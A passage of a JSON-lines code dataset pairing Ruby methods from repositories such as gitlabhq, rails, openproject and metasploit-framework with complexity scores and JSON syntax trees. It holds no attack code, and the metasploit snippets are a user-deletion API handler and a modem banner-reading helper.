@fork_writer.close\n\n pipes = { check_pipe: @check_pipe, worker_write: @worker_write }\n if @options[:fork_worker]\n pipes[:fork_pipe] = @fork_pipe\n pipes[:wakeup] = @wakeup\n end\n\n server = start_server if preload?\n new_worker = Worker.new index: index,\n master: master,\n launcher: @launcher,\n pipes: pipes,\n server: server\n new_worker.run\n end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"worker\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]},{\"type\":\"arg\",\"children\":[\"master\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@workers\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@master_read\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@suicide_pipe\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fork_writer\"]},\"close\"]},{\"type\":\"lvasgn\",\"children\":[\"pipes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"check_pipe\"]},{\"type\":\"ivar\",\"children\":[\"@check_pipe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"worker_write\"]},{\"type\":\"ivar\",\"children\":[\"@worker_write\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fork_worker\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"fork_pipe\"]},{\"type\":\"ivar\",\"children\":[\"@fork_pipe\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"wakeup\"]},{\"type\":\"ivar\",\"children\":[\"@wakeup\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preload?\"]},{\"type\":\"lvasgn\",\"children\":[\"server\",{\"type\":\"send\",\"children\":[null,\"start_server\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"new_worker\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Worker\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"master\"]},{\"type\":\"lvar\",\"children\":[\"master\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"launcher\"]},{\"type\":\"ivar\",\"children\":[\"@launcher\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipes\"]},{\"type\":\"lvar\",\"children\":[\"pipes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server\"]},{\"type\":\"lvar\",\"children\":[\"server\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_worker\"]},\"run\"]}]}]}","id":"2338ca02-3c82-4406-8c68-bf0de42ba745"} {"repo_name":"forem","file_path":"./repos/forem/app/services/settings/general/upsert.rb","start_line":46,"raw_source":"def self.create_suggested_tags\n suggested = Tag.find_or_create_all_with_like_by_name(Settings::General.suggested_tags)\n Tag.where(suggested: true).update_all(suggested: false)\n Tag.where(id: suggested).update_all(suggested: true)\n end","complexity_score":7.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_suggested_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"suggested\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"find_or_create_all_with_like_by_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"General\"]},\"suggested_tags\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suggested\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suggested\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"suggested\"]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suggested\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"c1cf10eb-0e69-4152-a554-07783c4280b3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/import_project_team_service.rb","start_line":31,"raw_source":"def import_project_team\n @members = target_project.team.import(source_project, current_user)\n\n if members.is_a?(Array)\n members.each { |member| check_member_validity(member) }\n else\n @result = ServiceResponse.error(message: 'Import failed', reason: :import_failed_error)\n end\n end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"import_project_team\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@members\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_project\"]},\"team\"]},\"import\",{\"type\":\"send\",\"children\":[null,\"source_project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"members\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"members\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[null,\"check_member_validity\",{\"type\":\"lvar\",\"children\":[\"member\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Import failed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"sym\",\"children\":[\"import_failed_error\"]}]}]}]}]}]}]}]}","id":"fc3329c2-c37f-483e-9d97-a41ea9a4f6c9"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/nodes/bind_param.rb","start_line":35,"raw_source":"def infinite?\n value.respond_to?(:infinite?) && value.infinite?\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"infinite?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"infinite?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"infinite?\"]}]}]}","id":"6addec29-4a8d-4154-8f61-c7818e641cb2"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/webmock.rb","start_line":61,"raw_source":"def webmock_enable!(options = {})\n WebMock.disable_net_connect!(\n {\n allow_localhost: true,\n allow: webmock_allowed_hosts\n }.merge(options)\n )\nend","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"webmock_enable!\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebMock\"]},\"disable_net_connect!\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_localhost\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow\"]},{\"type\":\"send\",\"children\":[null,\"webmock_allowed_hosts\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"0f46c0f8-7581-4c93-b4cc-c4a628054486"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":957,"raw_source":"def topics(name)\n topic = super\n topic.title = \"omg\"\n topic\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"topics\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"title=\",{\"type\":\"str\",\"children\":[\"omg\"]}]},{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]}","id":"e5f4bf08-b4d1-483f-bc31-a40d8c1128c7"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/password_confirmation_dialog.rb","start_line":54,"raw_source":"def expect_closed\n expect(page).to have_no_selector(selector)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_closed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_selector\",{\"type\":\"send\",\"children\":[null,\"selector\"]}]}]}]}","id":"674915e9-f846-48bf-b1c2-0944baabddfc"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/controllers/storages/admin/storages/project_storages_controller.rb","start_line":160,"raw_source":"def find_projects_to_activate_for_storage\n if (project_ids = params.to_unsafe_h[:storages_project_storage][:project_ids]).present?\n @projects = Project.find(project_ids)\n else\n initialize_project_storage\n @project_storage.errors.add(:project_ids, :blank)\n component = Storages::Admin::Storages::ProjectsStorageFormModalComponent.new(project_storage: @project_storage)\n update_via_turbo_stream(component:, status: :bad_request)\n respond_with_turbo_streams\n end\n rescue ActiveRecord::RecordNotFound\n render_error_flash_message_via_turbo_stream(message: t(:notice_project_not_found))\n update_project_list_via_turbo_stream\n\n respond_with_turbo_streams\n end","complexity_score":27.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_projects_to_activate_for_storage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"to_unsafe_h\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"storages_project_storage\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_ids\"]}]}]}]},\"present?\"]},{\"type\":\"ivasgn\",\"children\":[\"@projects\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"project_ids\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"initialize_project_storage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project_storage\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"project_ids\"]},{\"type\":\"sym\",\"children\":[\"blank\"]}]},{\"type\":\"lvasgn\",\"children\":[\"component\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storages\"]},\"Admin\"]},\"Storages\"]},\"ProjectsStorageFormModalComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_storage\"]},{\"type\":\"ivar\",\"children\":[\"@project_storage\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"component\"]},{\"type\":\"lvar\",\"children\":[\"component\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"respond_with_turbo_streams\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_error_flash_message_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"notice_project_not_found\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_project_list_via_turbo_stream\"]},{\"type\":\"send\",\"children\":[null,\"respond_with_turbo_streams\"]}]}]},null]}]}","id":"36c80965-5933-4ed6-a1f3-0128a3c949ba"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/merge_requests/drafts_controller.rb","start_line":78,"raw_source":"def discard\n DraftNotes::DestroyService.new(merge_request, current_user).execute\n\n head :ok\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"discard\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DraftNotes\"]},\"DestroyService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"merge_request\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"execute\"]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"26df7b92-3fa0-4a4c-98f3-07ed8f90b0fe"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2472,"raw_source":"def private_pages?\n return false unless Gitlab.config.pages.access_control\n\n pages_access_control_forced_by_ancestor? ||\n !!project_feature&.private_pages?\n end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"private_pages?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"pages\"]},\"access_control\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pages_access_control_forced_by_ancestor?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_feature\"]},\"private_pages?\"]},\"!\"]},\"!\"]}]}]}]}","id":"183bcb6f-c87f-4b3d-a1d8-f3b130ae8ddf"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/web_services/servlet/user_servlet.rb","start_line":62,"raw_source":"def self.delete_user\n lambda {\n warden.authenticate!(scope: :admin_api)\n begin\n opts = parse_json_request(request, false)\n data = get_db.delete_user(opts)\n set_json_data_response(response: data)\n rescue => e\n print_error_and_create_response(error: e, message: 'There was an error deleting the users:', code: 500)\n end\n }\n end","complexity_score":18.98,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"delete_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warden\"]},\"authenticate!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"sym\",\"children\":[\"admin_api\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[null,\"parse_json_request\",{\"type\":\"send\",\"children\":[null,\"request\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_db\"]},\"delete_user\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_json_data_response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error_and_create_response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"There was an error deleting the users:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"int\",\"children\":[500]}]}]}]}]},null]}]}]}]}]}","id":"db75582c-77aa-4783-bbc1-e5e247fc95a7"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/testing/constant_lookup.rb","start_line":36,"raw_source":"def determine_constant_from_test_name(test_name)\n names = test_name.split \"::\"\n while names.size > 0 do\n names.last.sub!(/Test$/, \"\")\n begin\n constant = names.join(\"::\").safe_constantize\n break(constant) if yield(constant)\n ensure\n names.pop\n end\n end\n end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"determine_constant_from_test_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"test_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"names\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_name\"]},\"split\",{\"type\":\"str\",\"children\":[\"::\"]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"last\"]},\"sub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Test$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"constant\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"join\",{\"type\":\"str\",\"children\":[\"::\"]}]},\"safe_constantize\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"constant\"]}]},{\"type\":\"break\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"constant\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"pop\"]}]}]}]}]}]}]}","id":"e73077bd-5c7c-403e-b6d3-158b3204ff8b"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-patreon/app/controllers/patreon/patreon_webhook_controller.rb","start_line":62,"raw_source":"def event\n request.headers[\"X-Patreon-Event\"]\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"X-Patreon-Event\"]}]}]}","id":"67e23002-bc0e-4f84-bca7-603f90f7d41d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/issuables_helper.rb","start_line":343,"raw_source":"def issue_header_data(issuable)\n data = {\n authorId: issuable.author.id,\n authorName: issuable.author.name,\n authorUsername: issuable.author.username,\n authorWebUrl: url_for(user_path(issuable.author)),\n createdAt: issuable.created_at.to_time.iso8601,\n isFirstContribution: issuable.first_contribution?,\n serviceDeskReplyTo: issuable.present(current_user: current_user).service_desk_reply_to\n }\n\n data.tap do |d|\n if issuable.duplicated? && can?(current_user, :read_issue, issuable.duplicated_to)\n d[:duplicatedToIssueUrl] = url_for([issuable.duplicated_to.project, issuable.duplicated_to, { only_path: false }])\n end\n\n if issuable.moved? && can?(current_user, :read_issue, issuable.moved_to)\n d[:movedToIssueUrl] = url_for([issuable.moved_to.project, issuable.moved_to, { only_path: false }])\n end\n end\n end","complexity_score":52.0,"ast_json":"{\"type\":\"def\",\"children\":[\"issue_header_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issuable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authorId\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"author\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authorName\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"author\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authorUsername\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"author\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authorWebUrl\"]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"send\",\"children\":[null,\"user_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"author\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"createdAt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"created_at\"]},\"to_time\"]},\"iso8601\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"isFirstContribution\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"first_contribution?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serviceDeskReplyTo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"present\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},\"service_desk_reply_to\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"duplicated?\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_issue\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"duplicated_to\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"duplicatedToIssueUrl\"]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"duplicated_to\"]},\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"duplicated_to\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"moved?\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_issue\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"moved_to\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"movedToIssueUrl\"]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"moved_to\"]},\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"moved_to\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},null]}]}]}]}]}","id":"c18c270c-8068-4872-8dbe-93325bc109b0"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/module/attribute_accessor_test.rb","start_line":112,"raw_source":"def test_should_use_default_value_if_block_passed\n assert_equal \"default_accessor_value\", @module.defa\n assert_equal \"default_reader_value\", @module.defr\n assert_equal \"default_writer_value\", @module.class_variable_get(\"@@defw\")\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_use_default_value_if_block_passed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"default_accessor_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@module\"]},\"defa\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"default_reader_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@module\"]},\"defr\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"default_writer_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@module\"]},\"class_variable_get\",{\"type\":\"str\",\"children\":[\"@@defw\"]}]}]}]}]}","id":"3e103502-dd09-4019-b1ac-99a6431adcc6"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/telephony/wardial.rb","start_line":416,"raw_source":"def get_banner(modem, timeout, nudgestring)\n print_status(\"Grabbing banner...\")\n banner = ''\n\n time = Time.now\n gotchar = Time.now\n while Time.now < time + timeout\n if Time.now >= gotchar + 8 # nudges after 8 seconds of receiving nothing\n if nudgestring\n print_status(\"Nudging...\")\n modem.puts nudgestring\n end\n gotchar = Time.now # resets timer so we don't nudge too often\n end\n\n c = modem.getc\n next if !c\n\n gotchar = Time.now\n print(c.chr) if @displaymodem\n\n # stop if carrier dropped\n break if modem.dcd == 0\n\n banner += c.chr\n end\n\n print(\"\\n\") if @displaymodem\n return banner\n 